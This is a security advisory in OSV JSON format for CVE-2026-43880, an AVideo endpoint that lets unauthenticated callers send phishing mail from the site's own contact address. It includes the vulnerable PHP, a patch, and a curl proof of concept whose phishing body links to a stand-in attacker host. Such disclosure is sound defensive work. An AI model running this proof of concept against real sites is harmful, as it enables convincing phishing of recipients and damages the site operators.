CVE-2026-43880: AVideo Unauthenticated Arbitrary Email Sending Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5hgj-7gm9-cff5",
  "modified" : "2026-05-13T14:20:23Z",
  "published" : "2026-05-05T21:56:19Z",
  "aliases" : [ "CVE-2026-43880" ],
  "summary" : "AVideo: Unauthenticated Arbitrary Email Sending via sendEmail.json.php Enables Phishing from the Site’s Legitimate From Address",
  "details" : "## Summary\n\n`objects/sendEmail.json.php` exposes two branches depending on whether `contactForm=1` is submitted. When the parameter is omitted, the endpoint sets `$sendTo` to an attacker-supplied email and, for unauthenticated callers, uses the site's own contact email as the message `From:`/`Reply-To:`. The endpoint is explicitly allow-listed as a \"public write action\" in `objects/functionsSecurity.php` (line 885), so it requires no authentication or CSRF token. An unauthenticated attacker (solving a captcha) can force the site's own SMTP infrastructure to send attacker-composed emails to arbitrary recipients with the site's legitimate sender address, passing SPF/DKIM/DMARC for the site's domain — ideal for targeted phishing and brand impersonation.\n\n## Details\n\n**Vulnerable code (`objects/sendEmail.json.php`):**\n\n```php\n10: $valid = Captcha::validation(@$_POST['captcha']);\n11: if(User::isAdmin()){\n12:     $valid = true;\n13: }\n...\n16: if ($valid) {\n...\n24:     $mail = new \\PHPMailer\\PHPMailer\\PHPMailer();\n25:     setSiteSendMessage($mail);           // uses site's SMTP credentials\n...\n30:     $replyTo = User::getEmail_();\n31:     if (empty($replyTo)) {\n32:         $replyTo = $config->getContactEmail();   // <-- FALLBACK to site's own email\n33:     }\n34:\n35:     $sendTo = $_POST['email'];            // attacker-controlled recipient\n36:\n37:     // if it is from contact form send the message to the siteowner and the sender is the email on the form field\n38:     if (!empty($_POST['contactForm'])) {\n39:         $replyTo = $_POST['email'];\n40:         $sendTo  = $config->getContactEmail();\n41:     }\n42:\n43:     if (filter_var($sendTo, FILTER_VALIDATE_EMAIL)) {\n44:         $mail->AddReplyTo($replyTo);       // site's address\n45:         $mail->setFrom($replyTo);          // From: site's address\n...\n47:         $mail->addAddress($sendTo);        // TO: attacker-chosen victim\n...\n49:         $safeFirstName = htmlspecialchars($_POST['first_name'], ENT_QUOTES, 'UTF-8');\n50:         $mail->Subject = 'Message From Site ' . $config->getWebSiteTitle() . \" ({$safeFirstName})\";\n51:         $mail->msgHTML($msg);\n...\n55:         if (!$mail->send()) { ... }\n```\n\n**`User::getEmail_()` (`objects/user.php:345-352`):** returns `''` when the caller is not logged in, driving the fallback to `$config->getContactEmail()`.\n\n**Endpoint is publicly callable.** `objects/functionsSecurity.php:879-918` lists `sendEmail.json.php` in the built-in \"public write actions\" CSRF/same-domain bypass:\n\n```php\nstatic $builtinBypass = [\n    ...\n    // Public write actions\n    'sendEmail.json.php',\n    ...\n];\nif (in_array($baseName, $builtinBypass, true)) { return; }\n```\n\n**Why existing defenses don't mitigate the abuse:**\n- **Captcha** (`Captcha::validation`): costs one solve per email. Manual solves remain viable for targeted phishing, and a separate captcha-bypass primitive in this codebase (tracked separately) automates abuse.\n- **`FILTER_VALIDATE_EMAIL`** (line 43): validates `$sendTo` format, preventing CRLF/header injection, but does not verify that the sender is authorized to send to that address.\n- **`htmlspecialchars` on `$safeEmail`/`$safeComment`/`$safeFirstName`**: blocks HTML injection in the rendered message but does not prevent phishing content — attacker fully controls the visible text (URL, instructions) and the perceived sender.\n- **No rate limiting, no auth check, no association between the caller and the recipient address.**\n\n**Flow summary for the abuse case (unauthenticated, no `contactForm`):**\n1. `User::getEmail_()` → `''`, so `$replyTo` = site's contact email (line 32)\n2. `$sendTo` = attacker's chosen recipient (line 35)\n3. `contactForm` branch skipped (line 38)\n4. Site's SMTP sends `From: <site contact>` to `<victim>` with attacker's subject/body (lines 44-51)\n\nBecause the message is genuinely relayed by the site's mail infrastructure, SPF/DKIM/DMARC for the site's domain pass, making the phishing message indistinguishable from legitimate site mail.\n\n## PoC\n\nEndpoint: `POST /objects/sendEmail.json.php` (also reachable via `POST /sendEmail` per `.htaccess:201`).\n\n```bash\n# 1. Obtain a session + captcha image\ncurl -c cookies.txt -s 'http://target.example.com/captcha.php?refresh=1' -o captcha.png\n# attacker manually solves the captcha -> e.g. 'abc123'\n\n# 2. Send phishing email. Note: contactForm is OMITTED.\n#    - User::getEmail_() returns '' (unauth) -> $replyTo falls back to site's contact email\n#    - $sendTo = attacker-chosen recipient\n#    - setFrom($replyTo) -> From: is the site's real address\ncurl -b cookies.txt -s -X POST 'http://target.example.com/objects/sendEmail.json.php' \\\n  --data-urlencode 'captcha=abc123' \\\n  --data-urlencode 'email=victim@target.com' \\\n  --data-urlencode 'first_name=Support Team' \\\n  --data-urlencode 'comment=Urgent: Your account will be suspended. Please verify at http://attacker.example.com/reset'\n```\n\nExpected server response:\n```json\n{\"error\":\"\",\"success\":\"Message sent\"}\n```\n\nDelivered headers at `victim@target.com`:\n```\nFrom: <site's legitimate contact email, e.g. contact@legit-videosite.com>\nReply-To: <site's legitimate contact email>\nTo: victim@target.com\nSubject: Message From Site <SiteName> (Support Team)\nBody:   <b>Email:</b> victim@target.com<br><br>Urgent: Your account will be suspended...\n```\n\nContrast with the intended `contactForm=1` flow (correctly routes to the site owner):\n```bash\ncurl -b cookies.txt -s -X POST 'http://target.example.com/objects/sendEmail.json.php' \\\n  --data-urlencode 'captcha=<newcaptcha>' \\\n  --data-urlencode 'email=attacker@attacker.com' \\\n  --data-urlencode 'comment=hi' \\\n  --data-urlencode 'contactForm=1'\n# -> $sendTo = site owner's contact email; $replyTo = attacker's email. (Normal contact form.)\n```\n\nOmitting `contactForm` inverts the routing and turns the endpoint into an unauthenticated sender-for-hire using the site's own From: identity.\n\n## Impact\n\n- **Phishing with the site's real sender identity.** Mail originates from the site's SMTP, so SPF/DKIM/DMARC pass; the message is indistinguishable from legitimate site communications and bypasses inbox anti-phishing heuristics.\n- **Brand impersonation / account-takeover chains.** Attacker-controlled subject (`first_name`) and body (`comment`) support credential-harvesting pages that appear to come from the site operator.\n- **Mail-reputation damage.** Repeated abuse can blacklist the site's sending IP/domain, degrading legitimate mail deliverability.\n- **Works against any AVideo instance with SMTP configured** — a default deployment after the admin configures SMTP for standard notifications. No privileged position, credentials, or non-default flags required.\n\n## Recommended Fix\n\nCollapse the endpoint to contact-owner-only behavior and require either authentication or `contactForm=1`. Minimal patch:\n\n```php\n// objects/sendEmail.json.php\n...\n$valid = Captcha::validation(@$_POST['captcha']);\nif (User::isAdmin()) {\n    $valid = true;\n}\n\n// Reject the non-contactForm branch for unauthenticated callers.\n// The \"share with a friend\" flow already requires User::isLogged()\n// in the UI (view/.../functiongetShareMenu.php), so enforce it here too.\nif (empty($_POST['contactForm']) && !User::isLogged()) {\n    $obj = new stdClass();\n    $obj->error = __(\"Authentication required\");\n    header('Content-Type: application/json');\n    echo json_encode($obj);\n    exit;\n}\n\n$obj = new stdClass();\n$obj->error = '';\nif ($valid) {\n    ...\n    $replyTo = User::getEmail_();\n    if (empty($replyTo)) {\n        // Should no longer be reachable for arbitrary recipients.\n        // Keep as defense-in-depth only for contactForm=1 path.\n        $replyTo = $config->getContactEmail();\n    }\n    ...\n}\n```\n\nAdditional hardening:\n1. Always use a dedicated `no-reply@` address in `setFrom()`; put the caller's address only in `Reply-To`. Never reuse `$config->getContactEmail()` as the From for user-initiated messages.\n2. For the logged-in \"share\" flow, verify the caller's email has been confirmed, and rate-limit by user id and by IP.\n3. Drop the non-`contactForm` branch entirely if no legitimate unauthenticated UI caller remains.\n4. Add a visible \"user-submitted message via our site\" banner to the email body so recipients can distinguish these from first-party communications.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "29.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-5hgj-7gm9-cff5"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-43880"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/4e3709895857a5857f0edb46b0ee984de0d9e1a2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-940" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-05T21:56:19Z",
    "nvd_published_at" : "2026-05-11T22:22:12Z"
  }
}